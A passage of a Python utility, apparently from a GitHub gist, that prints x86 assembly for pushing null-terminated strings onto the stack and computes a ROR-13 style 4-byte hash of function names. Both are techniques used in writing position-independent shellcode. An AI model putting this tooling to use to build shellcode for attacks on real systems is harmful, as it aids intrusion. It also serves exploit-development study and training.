print(f'"xor {full_reg}, {full_reg};" # zero out {full_reg}') | |
reg = lil_reg | |
print(f'"mov {reg}, {piece};" # ensure nullbyte') | |
print(f"\"push {full_reg};\" # end string '{value}' with nullbyte") | |
count += 1 | |
continue | |
if count == 0: | |
print(f'"xor {full_reg}, {full_reg};" # zero out {full_reg}') | |
print(f'"push {full_reg};" # ensure nullbyte') | |
print(f"\"push {piece};\" # push '{value}' onto stack") | |
count += 1 | |
print("------------------------------------------") | |
#------------------------------------------------ | |
#Generate a 4-byte hash of a Function name | |
#------------------------------------------------ | |
if args.funchash != None: | |
esi = args.funchash | |
edx = 0x00 | |
ror_count = 0 | |
for eax in esi: | |
edx = edx + ord(eax) | |
if ror_count < len(esi)-1: | |
edx = ror_str(edx, 0xd) | |
ror_count += 1 | |
print("Calculated 4-byte hash of Function: "+esi) | |
print("------------------------------------------") | |
print(hex(edx)) | |
print("------------------------------------------") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment